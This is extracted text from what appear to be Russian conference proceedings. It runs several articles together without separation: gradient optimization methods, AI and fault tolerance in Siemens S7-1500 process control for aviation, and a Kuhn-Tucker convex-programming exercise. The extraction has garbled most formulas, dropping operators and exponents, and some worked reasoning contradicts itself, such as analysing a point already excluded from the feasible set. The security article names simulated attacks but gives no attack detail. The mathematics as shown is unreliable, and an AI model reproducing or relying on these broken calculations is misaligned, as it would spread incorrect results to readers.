тогда 𝛼ଵ ൌ 0,1; 𝑋ଵ ൌ ቀ
0,5
0,5ቁ െ 0,1 ቀെ5

െ3
ቁ ൌ ቀ

1
0,8ቁ. 

Получена новая точка. Эта точка удовлетворяет нашим ограничениям, но все 
еще не достигла ни одного из них. Повторяем итерацию. На втором шаге таким же об-
разом определяем коэффициент 𝛼ଶ = 0,3125 и получаем новую точку X = (1,125; 0,875). 
Данная точка уже находится на кривой, ограничивающей наше допустимое множество 
значений 1,125 + 0,875 = 2. Теперь в качестве вектора градиента возьмем первые произ-
водные нашего ограничения и будем двигаться вдоль ограничивающей кривой пока не 
найдем оптимальное значение. Итерационный цикл останавливается, когда абсолютная 
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разность между предыдущим и текущим значением целевой функции не превышает за-
данную погрешность. Если значение функции будет возрастать, то необходимо поме-
нять направление поиска на противоположное, умножив вектор градиента ограничения 
на -1. Одновременно с этим желательно уменьшить шаг 𝛼.  

Таким образом, на 29-ой итерации цикл был закончен с обнаружением точки 
X=(1,5; 0,5) и значением функции в этой точке f(x) = -8,5, что является минимальным 
значением функции на данном множестве допустимых значений. 

В заключении можно отметить, что представленные в статье методы очень про-
сты в применении и в то же время требуют определенной подготовки пользователя для 
того, чтобы он мог составить простую программу, заложив в нее описанный алгоритм 
поиска. Общий метод поиска безусловного градиента подходит для большинства задач, 
в которых не установлены ограничения на множество допустимых значений, однако 
количество итераций такого метода может быть довольно внушительным. Метод Нью-
тона идеален для поиска экстремума в квадратичных функциях, но может быть вообще 
не применим там, где вторые производные сильно зависят от значений переменных. А 
метод условного градиента зависит от типа заданных ограничений. В каких-то случаях 
довольно просто найти вектор градиента ограничения и искать оптимальную точку 
вдоль него, в других же это может быть невозможно и придется применить другие чис-
ленные методы, например, метод штрафных функций, но это тема для отдельного раз-
говора. 
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ПРИМЕНЕНИЕ ТЕХНОЛОГИЙ ИСКУССТВЕННОГО ИНТЕЛЛЕКТА В АСУ ТП 
НА БАЗЕ SIEMENS S7-1500 В АВИАЦИОННОЙ ПРОМЫШЛЕННОСТИ 
 
APPLICATION OF ARTIFICIAL INTELLIGENCE TECHNOLOGIES IN APCS 
BASED ON SIEMENS S7-1500 IN THE AVIATION INDUSTRY 
 
Аннотация. В статье рассматривается применение технологий искусственного интел-
лекта (ИИ) для повышения эффективности и надежности автоматизированных систем 
управления технологическими процессами (АСУ ТП) на базе Siemens S7-1500 в авиаци-
онной промышленности. Особое внимание уделяется интеграции нейросетевых алго-
ритмов для анализа данных, оптимизации управления и предсказания отказов оборудо-
вания. Представлены методы обработки больших данных, машинного обучения и ин-
теллектуального контроля. Проведена экспериментальная оценка внедрения ИИ в си-
стему управления, выявлены ключевые преимущества и потенциальные риски. 
Abstract. The article discusses the application of artificial intelligence (AI) technologies to 
improve the efficiency and reliability of automated process control systems (APCS) based on 
Siemens S7-1500 in the aviation industry. Particular attention is paid to the integration of neu-
ral network algorithms for data analysis, control optimization and equipment failure predic-
tion. Methods for big data processing, machine learning and intelligent control are presented. 
An experimental assessment of the implementation of AI in the control system is carried out, 
key advantages and potential risks are identified 
Ключевые слова: АСУ ТП, Siemens S7-1500, искусственный интеллект, машинное обу-
чение, авиационная промышленность, нейросетевой анализ, предиктивная диагностика, 
IoT, автоматизация. 
Key words: APCS, Siemens S7-1500, artificial intelligence, machine learning, aviation indus-
try, neural network analysis, predictive diagnostics, IoT, automation. 
 

Современные автоматизированные системы управления технологическими про-
цессами (АСУ ТП) в авиационной промышленности требуют не только высокой 
надежности, но и способности адаптироваться к изменяющимся условиям эксплуата-
ции. Внедрение технологий искусственного интеллекта (ИИ) и машинного обучения 
(ML) в Siemens S7-1500 позволяет повысить эффективность управления, сократить за-
траты на обслуживание и предотвратить аварийные ситуации. [1] 

Одним из перспективных направлений является применение нейросетевого ана-
лиза и алгоритмов предиктивного технического обслуживания (Predictive Maintenance), 
позволяющих анализировать данные в реальном времени, выявлять аномалии в работе 
оборудования и прогнозировать возможные отказы. В данной работе исследуются ме-
тоды интеграции ИИ в АСУ ТП и оценивается их эффективность на примере авиацион-
ной отрасли. 

Целью данной работы является разработка и тестирование методов повышения 
надежности и безопасности АСУ ТП, построенной на базе Siemens S7-1500, для приме-
нения в авиационной промышленности. Новизна исследования заключается в ком-
плексном подходе к повышению надежности АСУ ТП. 

1.Интеллектуальные технологии в АСУ ТП 
1.1 Применение нейросетевого анализа в управлении процессами 
Нейросетевые алгоритмы в АСУ ТП позволяют анализировать данные с датчиков, 

выявлять аномалии и предсказывать возможные отказы оборудования. Это снижает влия-
ние человеческого фактора и повышает точность управления. 

Для обработки данных используется глубинная нейронная сеть (DNN), которая 
обучается на исторических данных параметров оборудования. Функция активации для 
прогнозирования параметров системы выбирается в виде ReLU: 
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𝑓ሺ𝑥ሻ ൌ maxሺ0, 𝑥ሻ .      (1) 
Весовые коэффициенты нейросети подбираются с помощью метода градиентного 

спуска, минимизируя среднеквадратичную ошибку (MSE) [2]: 

𝑀𝑆𝐸 ൌ ଵ


∗ ∑ ሺ𝑦 െ  𝑦పෝሻଶ

ୀଵ ,     (2) 

где yi – истинное значение параметра, 
𝑦పෝ  – предсказанное значение, 
n – количество наблюдений. 

Пример расчета: прогноз температуры двигателя 
Обученная модель получила следующие веса: 

 w1=0,03 (температура окружающей среды), 
 w2=0,07 (скорость вращения), 
 w3=0,005 (давление масла). 

Рассмотрим ситуацию, когда: 
 Температура окружающей среды x1=25°C, 
 Скорость вращения x2=4000 об/мин, 
 Давление масла x3==6 бар. 

Подставляем в уравнение 𝑇прогноз ൌ wଵ ∗ xଵ  wଶ ∗ xଶ  wଷ ∗ xଷ ,  тогда 
𝑇прогноз ൌ 0,03 ∗ 25  0,07 ∗ 4000  0,005 ∗ 6 ൌ 0,75  280  0,03 ൌ 280,78°C. 

То есть, прогнозируемая температура двигателя 280.78°C, что сигнализирует о пере-
греве. Система управления на основе этой информации снижает нагрузку на двигатель, 
предотвращая отказ. 

1.2. IoT и облачные технологии в авиационной АСУ ТП 
Интернет вещей (IoT) позволяет интегрировать Siemens S7-1500 с облачными плат-

формами (Siemens MindSphere, AWS IoT, Azure IoT) для дистанционного контроля и диа-
гностики. 

Ключевые функции IoT в АСУ ТП: 
 Сбор данных с датчиков в реальном времени, 
 Облачный анализ аномалий, 
 Автоматическая отправка команд на ПЛК при отклонениях параметров. 

Расчет задержки передачи данных в облако 
Общее время отклика системы можно описать уравнением: 

𝑇общ ൌ  𝑇датчика  𝑇передачи  𝑇анализа  𝑇ответа       (4) 
где 𝑇датчика – время измерения датчика (10 мс), 

𝑇передачи– задержка сети (50 мс), 
𝑇анализа – обработка на сервере (100 мс), 
𝑇ответа – передача управляющего сигнала (30 мс). 

𝑇общ ൌ  10  50  100  30 ൌ 190 мс. 
Таким образом, облачная система реагирует за 190 мс, что допустимо для авиационных 

систем. 
2. Модель интеллектуального управления 
Для повышения эффективности системы предлагается адаптивная модель управле-

ния, использующая машинное обучение для предсказания параметров работы. 
Общее управляющее воздействие формируется как сумма множества входных па-

раметров с учетом весовых коэффициентов: 
𝑈 ൌ 𝑓ሺ𝑋ሻ ൌ  ∑ w ∗ x


ୀଵ   𝑏,    (5) 

где U – управляющее воздействие, 
xi – входные параметры (температура, давление, вибрация и др.), 
wi – весовые коэффициенты, 
b – смещение (базовый уровень воздействия). 

Пример работы системы управления 
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Допустим, система управления регулирует скорость вентилятора охлаждения дви-
гателя. Входные параметры: 

 Температура двигателя x1=280.78°C, 
 Давление масла x2=6 бар, 
 Скорость вращения x3=4000 об/мин. 

 Весовые коэффициенты определены как: 
 w1=0,04, 
 w2=0,02, 
 w3=0,01, 
 b=10. 

Рассчитаем управляющее воздействие U: 
𝑈 ൌ ሺ0,04 ∗ 280,78ሻ  ሺ0,02 ∗ 6ሻ  ሺ0,01 ∗ 4000ሻ  10 ൌ 11,23  0,12  40  10

ൌ 61,35 
Система управления интерпретирует результат 61.35 как команду на увеличение 

скорости вращения вентилятора, что помогает стабилизировать температуру двигателя. 
3 Надежность и предиктивная диагностика системы на базе Siemens S7-1500 
3.1 Повышение отказоустойчивости системы 
АСУ ТП в авиационной промышленности требует повышенной надежности, так 

как сбои могут привести к критическим последствиям. Основные методы повышения отка-
зоустойчивости: 
1. Дублирование компонентов – резервирование процессоров, каналов связи, датчиков [3]. 
2. Применение диагностических алгоритмов – самопроверка контроллеров (watchdog 

timers). 
3. Горячее резервирование – переключение на резервный модуль без остановки системы. 
4. Использование отказоустойчивых алгоритмов – фильтрация шумов, компенсация оши-

бок. 
Расчет вероятности безотказной работы 
Для оценки надежности системы используется экспоненциальное распределение 

времени наработки на отказ (MTBF - Mean Time Between Failures): 
𝑅ሺ𝑡ሻ ൌ  𝑒ି୲,       (6) 

где R(t) – вероятность безотказной работы за время t, 
λ – интенсивность отказов, 
t – время работы. 

Допустим, контроллер Siemens S7-1500 имеет MTBF = 400 000 часов. Интенсивность от-

казов: λ ൌ ଵ

ெ்ி
, λ ൌ  ଵ

ସ
ൌ 2,5 ∗ 10 . 

Для оценки вероятности безотказной работы за 10 000 часов подставляем в форму-
лу (6): 

𝑅ሺ𝑡ሻ ൌ  𝑒ିሺଶ,ହ∗ଵలሻ∗ଵ ൌ  𝑒ିሺ,ଶହሻ ൌ 0,975. 
То есть, вероятность безотказной работы в течение 10 000 часов составляет 97.5%. 
3.2. Пример расчета предиктивной диагностики отказов 
Предиктивная диагностика (Predictive Maintenance, PdM) используется для предот-

вращения отказов за счет анализа данных датчиков [4]. 
Рассчитаем вероятность отказа подшипника при наблюдаемом увеличении вибра-

ции. 
Допустим: 

 нормальная вибрация Aнорм = 2 мм/с, 
 зафиксирована вибрация Aизмер=5 мм/с, 
 допустимый предел Aдоп = 4 мм/с. 

Расчет индекса деградации: 𝐷 ൌ
АизмерିАнорм 

Адопି Анорм
, 𝐷 ൌ ହିଶ 

ସି ଶ
ൌ 1,5. 
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Если D>1, система предсказывает отказ подшипника и рекомендует замену. 
Разработанные методы могут быть применены в авиационной промышленности для 

управления критически важными системами, где отказоустойчивость играет ключевую 
роль. Внедрение предложенных подходов позволит: 

 Использование нейросетевого анализа позволяет прогнозировать отказ оборудова-
ния с высокой точностью. 

 IoT и облачные технологии обеспечивают дистанционный контроль и предиктив-
ную диагностику в реальном времени. 

 Применение спектрального анализа вибраций и температурного мониторинга поз-
воляет оперативно выявлять неисправности. 
Перспективы развития 

 Интеграция квантовых алгоритмов для предсказания отказов. 
 Применение цифровых двойников (Digital Twin) для имитации работы оборудова-

ния. 
 Улучшение алгоритмов машинного обучения для повышения точности диагности-

ки. 
Таким образом, предложенная модель интеллектуального управления на базе 

Siemens S7-1500 повышает надежность авиационных АСУ ТП, минимизируя вероятность 
отказов.  
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Аннотация. Автоматизированные системы управления технологическими процессами 
(АСУ ТП) являются основой современной промышленности, обеспечивая высокую точ-
ность, надежность и безопасность производственных процессов. В авиационной промыш-
ленности требования к АСУ ТП особенно жесткие, так как любые сбои могут привести к 
серьезным последствиям. 
В данной статье рассматриваются методы повышения отказоустойчивости и информаци-
онной безопасности АСУ ТП, построенной на базе Siemens S7-1500. Основное внимание 
уделено резервированию контроллеров и сетей, внедрению современных механизмов ки-
бербезопасности и использованию искусственного интеллекта для предиктивного обслу-
живания. 
Abstract. Automated process control systems (APCS) are the basis of modern industry, ensuring 
high accuracy, reliability and safety of production processes. In the aviation industry, the require-
ments for APCS are especially stringent, since any failures can lead to serious consequences. This 
article discusses methods for increasing the fault tolerance and information security of APCS built 
on the basis of Siemens S7-1500. The main focus is on the redundancy of controllers and net-
works, the implementation of modern cybersecurity mechanisms and the use of artificial intelli-
gence for predictive maintenance. 
Ключевые слова: АСУ ТП, Siemens S7-1500, отказоустойчивость, кибербезопасность, 
резервирование, промышленная автоматизация, искусственный интеллект, авиационная 
промышленность. 
Key words: APCS, Siemens S7-1500, fault tolerance, cybersecurity, redundancy, industrial 
automation, artificial intelligence, aviation industry. 
 

В современном авиастроении и эксплуатации авиационной техники использование 
автоматизированных систем управления технологическими процессами (АСУ ТП) является 
критически важным. Они применяются для управления производственными линиями, диа-
гностирования оборудования, обработки данных и обеспечения безопасности [1]. 

При этом ключевыми вызовами, с которыми сталкиваются предприятия авиационной 
отрасли, являются: 

 Отказы оборудования, приводящие к незапланированным простоям и повышен-
ным эксплуатационным затратам. 

 Киберугрозы, ставящие под угрозу конфиденциальность данных и целостность 
системы управления. 

 Надежность передачи данных, обеспечивающая точность контроля и мониторинга 
процессов. 

Промышленные ПЛК, такие как Siemens S7-1500, предоставляют широкие возмож-
ности для построения надежных систем управления, но для их успешной эксплуатации в 
авиационной промышленности требуется усиленная защита и дополнительные механизмы 
повышения отказоустойчивости. 

Целью данной работы является разработка и тестирование методов повышения 
надежности и безопасности АСУ ТП, построенной на базе Siemens S7-1500, для применения 
в авиационной промышленности. Новизна исследования заключается в комплексном подхо-
де к повышению надежности АСУ ТП. 

1 Архитектура АСУ ТП на основе Siemens S7-1500 
АСУ ТП на базе Siemens S7-1500 включает в себя следующие компоненты: 

1. ПЛК (Programmable Logic Controller) 
 Основной контроллер: Siemens S7-1518-4 PN/DP (высокая производитель-

ность, поддержка Profinet/Profibus). 
 Резервный контроллер: S7-1518F-4 PN/DP (горячее резервирование). 

2. Сетевые коммуникации 
 Протоколы: PROFINET, Profibus, OPC UA. 
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 Резервирование сети по Media Redundancy Protocol (MRP). 
3. Человеко-машинный интерфейс (SCADA/HMI) 

 SCADA-система: WinCC, PCS 7. 
4. Периферийное оборудование 

 Датчики, актуаторы, приводы (ET 200SP). 
5. Кибербезопасность и отказоустойчивость 

 Защита сети, аутентификация, резервирование. 
2 Усовершенствование защиты АСУ ТП 
2.1 Повышение отказоустойчивости 
2.1.1. Горячее резервирование контроллеров 
Используется схема Redundant S7 Communication, где два ПЛК работают синхронно. 

При выходе из строя основного контроллера резервный моментально берет на себя управле-
ние [2]. 

Формула оценки надежности системы с резервированием: 

𝑃௦௬௦ ൌ  1 െ ൫1 െ 𝑃൯


,       (1) 
где 𝑃 - вероятность безотказной работы одного контроллера, 

n -  количество резервных узлов.  
2.1.2. Резервирование сети 
Используется технология MRP (Media Redundancy Protocol) для обеспечения резер-

вирования соединений. В случае выхода из строя одного канала трафик перенаправляется 
по альтернативному маршруту. 

Дополнительные меры защиты: 
 Разделение сети на логические сегменты с VLAN. 
 Использование RSTP (Rapid Spanning Tree Protocol) для предотвращения петель. 

2.1.3. Диагностика отказов и предиктивное обслуживание 
Для прогнозирования сбоев применяется анализ данных с датчиков и предиктивное 

обслуживание. Используется формула экспоненциального сглаживания для предсказания 
отказов: 

Необходимо минимизировать общие затраты: 
𝑆௧ ൌ∝⋅ 𝑋௧  ሺ1െ ∝ሻ ⋅ 𝑆௧ିଵ ,     (2) 

где 𝑋௧ – текущее значение параметра, 
𝑆௧ – сглаженное значение, 
∝ - коэффициент сглаживания (0 < ∝ < 1). 

3 Экспериментальные результаты 
3.1 Постановка эксперимента 
Для проверки предложенных методов защиты и отказоустойчивости была создана 

тестовая площадка, имитирующая работу реальной АСУ ТП в авиационной промышлен-
ности. Эксперименты проводились с использованием промышленного контроллера 
Siemens S7-1518-4 PN/DP, резервного контроллера Siemens S7-1518F-4 PN/DP, а также 
системы мониторинга и диагностики, основанной на машинном обучении [3]. 

3.1.1. Конфигурация тестовой площадки 
Используемая тестовая среда включала: 

 Основной ПЛК: Siemens S7-1518-4 PN/DP. 
 Резервный ПЛК: Siemens S7-1518F-4 PN/DP (горячее резервирование). 
 Сетевое оборудование: коммутаторы с поддержкой PROFINET и резервирования 

(MRP). 
 SCADA-система: WinCC Advanced. 
 Система обнаружения вторжений (IDS): Suricata IDS + SIEM Splunk. 
 Модуль машинного обучения: предиктивный анализ отказов на основе данных сен-

соров. 
3.1.2. Проведенные тесты 
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1. Испытание отказоустойчивости 
 Симуляция отказа основного ПЛК. 
 Измерение времени переключения на резервный контроллер. 
 Анализ потерь данных при аварийном переходе. 

2. Испытание сетевого резервирования 
 Отключение основного маршрутизатора сети. 
 Временные задержки при переключении на резервный путь. 

3. Испытание системы кибербезопасности 
 Проведение имитационных атак (Brute-force, Man-in-the-Middle, DoS). 
 Оценка эффективности выявления угроз системой IDS/IPS. 

4. Прогнозирование отказов 
 Сбор данных о температуре, вибрации, потребляемой мощности. 
 Анализ сбоев и предсказание возможных отказов на основе машинного обу-

чения. 
3.2 Результаты и анализ 
3.2.1 Отказоустойчивость системы 
Для оценки отказоустойчивости были измерены следующие параметры: 

 Время переключения между основным и резервным ПЛК. 
 Количество потерянных данных при отказе. 
 Время восстановления после отказа сети. 

Время переключения между основным и резервным ПЛК определяется по формуле: 

𝑇перек ൌ
௧обнаружା௧переключ

ଵି потерь
,      (3) 

где 𝑇перек – полное время переключения, мс, 
𝑡обнаруж – время обнаружения отказа , 250 мс, 
𝑡переключ- время загрузки резервного ПЛК, 200 мс,  
𝑃потерь – вероятность потреи данных, 0,02. 

Подставляем значения: 

𝑇перек ൌ
250  200
1 െ  0,02

ൌ  
450
0,98

 ൎ 459 мс. 

3.2.2 Анализ сетевого резервирования 
При отказе основного маршрутизатора система использовала кольцевую топологию 

Media Redundancy Protocol (MRP) для восстановления связи. 
Формула времени переключения на резервный канал: 

𝑇сеть ൌ 


 𝑇обнаруж  𝑇переключ,    (4) 

где 𝐿 – длина сетевого соединения (100 м) , 
𝑉 – скорость распространения сигнала (2ꞏ10⁸ м/с), 
𝑇обнаруж- время обнаружения отказа, 10 мс,  
𝑇переключ – время выбора нового маршрута (20 мс), 

𝑇сеть ൌ ଵ

ଶଵ⁸ 
 10  20 ൎ 30 мс. 

Фактически измеренное время – 30–32 мс, что соответствует расчету. 
3.2.3. Оценка эффективности киберзащиты 
Для оценки эффективности системы IDS/IPS проводились атаки и фиксировалась 

их детекция. 
Рассчитывалась вероятность обнаружения угрозы: 

𝑃обнаруж ൌ
ேдетект

ேатак
ൌ 0,92.     (5) 

где 𝑁детект = 92 -  количество обнаруженных атак, 
𝑁атак = 100 -  общее количество атак, 
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Разработанные методы могут быть применены в авиационной промышленности для 
управления критически важными системами, где отказоустойчивость играет ключевую 
роль. Внедрение предложенных подходов позволит: 

 Минимизировать простои оборудования и финансовые потери, 
 Повысить уровень безопасности промышленных объектов, 
 Оптимизировать затраты на техническое обслуживание, 
 Обеспечить непрерывность производственных процессов. 

Использование интеллектуального анализа данных и предиктивного технического 
обслуживания поможет авиационным предприятиям предупреждать аварийные ситуации и 
повышать надежность автоматизированных систем управления технологическими процес-
сами [4]. 
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Аннотация. В статье рассмотрена задача выпуклого программирования, то есть задача, 
в которой целевая функция и функции ограничений обладают свойством выпуклости. 
Представлен график функций ограничения, для определения множества. Выполнена 
проверка удовлетворения данного множества условию Слейтера и точек на оптималь-
ность в заданном множестве с помощью условия Куна-Таккера.  
Abstract. The article considers a convex programming problem, i.e. a problem in which the 
objective function and constraint functions have the property of convexity. A graph of con-
straint functions is presented to determine the set. The satisfaction of the given set with the 
Slater condition and the points for optimality in the given set are checked using the Kuhn-
Tucker condition. 
Ключевые слова: выпуклая функция, оптимальность, множество, ограничения, седло-
вая точка. 
Key words: convex function, optimality, set, constraints, saddle point. 

 
Задача поиска оптимального решения является актуальной [1]-[5]. Часто возни-

кает ситуация, когда нужно найти эффективный вариант решения той или иной задачи. 
Решение таких задач состоит в отыскании оптимального значения функции цели и 
стратегии, на котором оптимум достигается. Задачи математического программирова-
ния можно разделить на линейные и нелинейные. Для решения более простых, где 
ограничениями являются линейные функции, используют графический или симплекс-
метод. В данной статье будут рассмотрены нелинейные, а именно задачи выпуклого 
программирования.  

Рассмотрим несколько произвольных точек для выпуклой функции с определён-
ными ограничениями и проверим, достигает ли какая-либо из них оптимального значе-
ния. Для проверки оптимальности воспользуемся условием Куна-Таккера, которое све-
дёт задачу выпуклого программирования к задаче поиска седловой точки функции Ла-
гранжа. Необходимые условия локального минимума для задач с ограничениями ис-
следуются давно. Одним из основных остаётся предложенный Лагранжем перенос 
ограничений в целевую функцию. Условия Куна-Таккера тоже выведены из этого 
принципа. 

Дана функция, в которой нужно найти минимум: 
𝑓ሺ𝑥ሻ ൌ 𝑥ଵ

ଶ  𝑥ଶ
ଶ  3𝑥ଵ → 𝑚𝑖𝑛. 

Дано множество, для которого будем проверять точки: 
𝑋 ൌ ሼ𝑥|𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16  0, 𝑥ଵ െ 𝑥ଶ  5ሽ. 

Даны точки, для их проверки на оптимальность: 
𝑥ଵ ൌ ሺ1, െ4ሻ, 𝑥ଶ ൌ ሺ0, െ4ሻ, 𝑥ଷ ൌ ሺ2, െ4ሻ. 

Докажем, что наша функция 𝑓ሺ𝑥ሻ ൌ 𝑥ଵ
ଶ  𝑥ଶ

ଶ  3𝑥ଵ, выпуклая. 
Найдём её первые и вторые частные производные: 

𝛿𝑓
𝛿𝑥ଵ

ൌ 2𝑥ଵ  3,    
𝛿𝑓
𝛿𝑥ଶ

ൌ 2𝑥ଶ,
𝛿ଶ𝑓
𝛿𝑥ଵ

ଶ ൌ 2,    
𝛿ଶ𝑓
𝛿𝑥ଶ

ଶ ൌ 2,   
𝛿ଶ𝑓

𝛿𝑥ଵ𝛿𝑥ଶ
ൌ 0, 

тогда матрица Гессе, состоящая из частных производных второго порядка, будет 

иметь вид: ቀ2 0
0 2

ቁ, матрица положительно определена, значит функция выпуклая. 

Изобразим на графике кривые 𝑥ଵ
ଶ  𝑥ଶ

ଶ െ 2𝑥ଵ  8𝑥ଶ  16 ൌ 0 и 𝑥ଵ െ 𝑥ଶ െ 5 ൌ 0. 
Так как по условию они обе меньше либо равны нулю то нашим множеством 𝑋 будет 
являться верхняя половина окружности, данное множество выпукло. 
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Рисунок 1 – График множества 

Множество X удовлетворяет условию регулярности Слейтера, так как 
существует точка 𝑥 ൌ ሺ0,5; െ4ሻ|𝑥𝜖𝑋, такая что неравенства 𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16 ൏

0, 𝑥ଵ െ 𝑥ଶ െ 5 ൏ 0 в этой точке выполняются. 
Точка 𝑥ଷ ൌ ሺ2, െ4ሻ не входит в данное множество (2  4  5 – неверно). 
Подставляем оставшиеся две точки в ограничения и находим множевство 

индексов активных ограничений: 𝐼ሺ𝑥ଵሻ ൌ ሼ2ሽ, 𝐼ሺ𝑥ଶሻ ൌ ሼ1ሽ. 
Запишем функцию Лагранжа в точке 𝑥ଵ: 𝐹ሺ𝑥ଵሻ ൌ 𝑥ଵ

ଶ𝑥ଶ
ଶ  3𝑥ଵ  𝑦ሺ𝑥ଵ െ 𝑥ଶ െ 5ሻ, 

тогда необходимые условия экстремума задаются системой: 
𝜕𝐹
𝜕𝑥ଵ

ൌ 2𝑥ଵ  3  𝑦,     
𝜕𝐹
𝜕𝑥ଶ

ൌ 2𝑥ଶ െ 𝑦, 

𝜕𝐹
𝜕𝑥ଵ

ሺ1, െ4ሻ ൌ 5  𝑦,   
𝜕𝐹
𝜕𝑥ଶ

ሺ1, െ4ሻ ൌ െ8 െ 𝑦. 

Полученная система несовместна, следовательно, не имеет решения. 
Теперь рассмотрим функцию Лагранжа для точки 𝑥ଶ: 

𝐹ሺ𝑥ଶሻ ൌ 𝑥ଵ
ଶ  𝑥ଶ

ଶ  3𝑥ଵ  𝑦ሺ𝑥ଵ
ଶ  𝑥ଶ

ଶ െ 2𝑥ଵ  8𝑥ଶ  16ሻ, 
𝜕𝐹
𝜕𝑥ଵ

ൌ 2𝑥ଵ  3  2𝑥ଵ𝑦 െ 2𝑦 ,    
𝜕𝐹
𝜕𝑥ଶ

ൌ 2𝑥ଶ  2𝑥ଶ𝑦  8𝑦, 

𝜕𝐹
𝜕𝑥ଵ

ሺ0, െ4ሻ ൌ 3 െ 2𝑦,   
𝜕𝐹
𝜕𝑥ଶ

ሺ0, െ4ሻ ൌ െ8 െ 8𝑦  8𝑦 ൌ െ8.   

Полученная система тоже несовместна.  
Наконец, функция Лагранжа для точки 𝑥ଷ: 

𝐹ሺ𝑥ଷሻ ൌ 𝑥ଵ
ଶ  𝑥ଶ

ଶ  3𝑥ଵ  𝑦ሺ𝑥ଵ
ଶ  𝑥ଶ

ଶ െ 2𝑥ଵ  8𝑥ଶ  16ሻ, 
𝜕𝐹
𝜕𝑥ଵ

ൌ 2𝑥ଵ  3  2𝑥ଵ𝑦 െ 2𝑦,          
𝜕𝐹
𝜕𝑥ଶ

ൌ 2𝑥ଶ  2𝑥ଶ𝑦  8𝑦, 

𝜕𝐹
𝜕𝑥ଵ

ሺ2, െ4ሻ ൌ 7 െ 2𝑦,   
𝜕𝐹
𝜕𝑥ଶ

ሺ2, െ4ሻ ൌ െ8. 

Данная система тоже не имеет решения. 
Таким образом, точки 𝑥ଵሺ1, െ4ሻ, 𝑥ଶሺ0, െ4ሻ – не являются оптимальными, а точка 

𝑥ଷ ൌ ሺ2, െ4ሻ не входит в данное множество и не является оптимальной. 
Проверим функцию на оптимальность, найдем седловую точку для функции с 

ограничениями: 
 𝐹ሺ𝑥ሻ ൌ 𝑥ଵ

ଶ  𝑥ଶ
ଶ  3𝑥ଵ  𝑦ଵሺ𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16ሻ  𝑦ଶሺ𝑥ଵ െ 𝑥ଶ െ 5ሻ, 

X1 
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и определим ее положение в области определения функции. 
Чтобы найти седловую точку, надо найти такие x1 и x2

  чтобы выполнялась 
ситема нелинейных уравнений: 

⎩
⎪
⎨

⎪
⎧

2𝑥ଵ  3  2𝑥ଵ𝑦ଵ െ 2𝑦ଵ  𝑦ଶ ൌ 0,                 
2𝑥ଶ  2𝑥ଶ𝑦ଵ  8𝑦ଵ െ 𝑦ଶ ൌ 0,                          
𝑦ଵሺ𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16ሻ ൌ 0,              

𝑦ଶሺ𝑥ଵ െ 𝑥ଶ െ 5ሻ ൌ 0,                                          
𝑦ଵ,ଶ  0.                                                                  

 

Рассмотрим четыре случая:  
1) 𝑦ଵ ൌ 𝑦ଶ ൌ 0, тогда система примет вид: 

൜
2𝑥ଵ  3 ൌ 0,                 
2𝑥ଶ ൌ 0.                           

Отсюда, можно найти нашу  точку 𝑥 ቀെ ଷ

ଶ
, 0ቁ, множеству она не принадлежит (не 

соответствует первому ограничению); 
2) 𝑦ଵ ൌ 0, 𝑦ଶ ് 0, тогда система примет вид: 

൝
2𝑥ଵ  3  𝑦ଶ ൌ 0,                                               
2𝑥ଶ െ 𝑦ଶ ൌ 0,                                                       
𝑥ଵ െ 𝑥ଶ െ 5 ൌ 0.                                                  

 

Выражаем из первого уравнения 𝑥ଵ, из второго 𝑥ଶ и подставляем в 
третье. 

⎩
⎪
⎨

⎪
⎧ 𝑥ଵ ൌ

െ𝑦ଶ െ 3
2

,                                                               

𝑥ଶ ൌ
𝑦ଶ

2
,                                                                            

െ𝑦ଶ െ 3
2

െ
𝑦ଶ

2
െ 5 ൌ 0,                                                  

 

𝑦ଶ ൌ െ ଵଷ

ଶ
൏ 0 െ не верно൫𝑦ଵ,ଶ  0൯. 

3) 𝑦ଵ ് 0, 𝑦ଶ ൌ 0, тогда система примет вид: 

ቐ
2𝑥ଵ  3  2𝑥ଵ𝑦ଵ െ 2𝑦ଵ ൌ 0,                 
2𝑥ଶ  2𝑥ଶ𝑦ଵ  8𝑦ଵ ൌ 0,                          
𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16 ൌ 0.              

 

Выражаем из первого уравнения 𝑥ଵ, из второго 𝑥ଶ и подставляем в третье, 
получим уравнение, относительно одной переменной: 

 ቀ ଶ௬భିଷ

ଶሺଵା௬భሻ
ቁ

ଶ
 ቀ ି଼௬భ

ଶሺଵା௬భሻ
ቁ

ଶ
െ 2 ቀ ଶ௬భିଷ

ଶሺଵା௬భሻ
ቁ  8 ቀ ି଼௬భ

ଶሺଵା௬భሻ
ቁ  16 ൌ 0, 

которое имеет два корня: 𝑦ଵሺଵሻ ൌ √଼ଽ

ଶ
െ 1, 𝑦ଵሺଶሻ ൌ െ √଼ଽ

ଶ
െ 1. Второе значение 𝑦ଵ не 

удовлетворяет ограничению, так как оно отрицательно. Подставляя первое значение 𝑦ଵ, 
находим приближённое значение точки: 𝑥ሺ0,5; െ3,14ሻ, множеству она не принадлежит 
(не соответствует первому ограничению). 

4) 𝑦ଵ ് 0, 𝑦ଶ ് 0, тогда система примет вид: 

൞

2𝑥ଵ  3  2𝑥ଵ𝑦ଵ െ 2𝑦ଵ  𝑦ଶ ൌ 0,                 
2𝑥ଶ  2𝑥ଶ𝑦ଵ  8𝑦ଵ െ 𝑦ଶ ൌ 0,                          
𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16 ൌ 0,                      

𝑥ଵ െ 𝑥ଶ െ 5 ൌ 0.                                                 

 

Решая данную систему уравнения получим, что 𝑦ଵ,ଶ  0, что не верно (𝑦ଵ,ଶ  0ሻ.  
Аналитическое исследование показало, что система с такими ограничениями не 

имеет решений, а значит и седловой точки.  
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Итак, точки 𝑥ଵ ൌ ሺ1, െ4ሻ,  𝑥ଶ ൌ ሺ0, െ4ሻ, 𝑥ଷ ൌ ሺ2, െ4ሻ для заданной функции 
𝑓ሺ𝑥ሻ ൌ 𝑥ଵ

ଶ  𝑥ଶ
ଶ  3𝑥ଵ при ограничениях 𝑋 ൌ ሼ𝑥|𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 2𝑥ଵ  8𝑥ଶ  16  0, 𝑥ଵ െ

𝑥ଶ  5ሽ не являются оптимальными (точками минимума). 
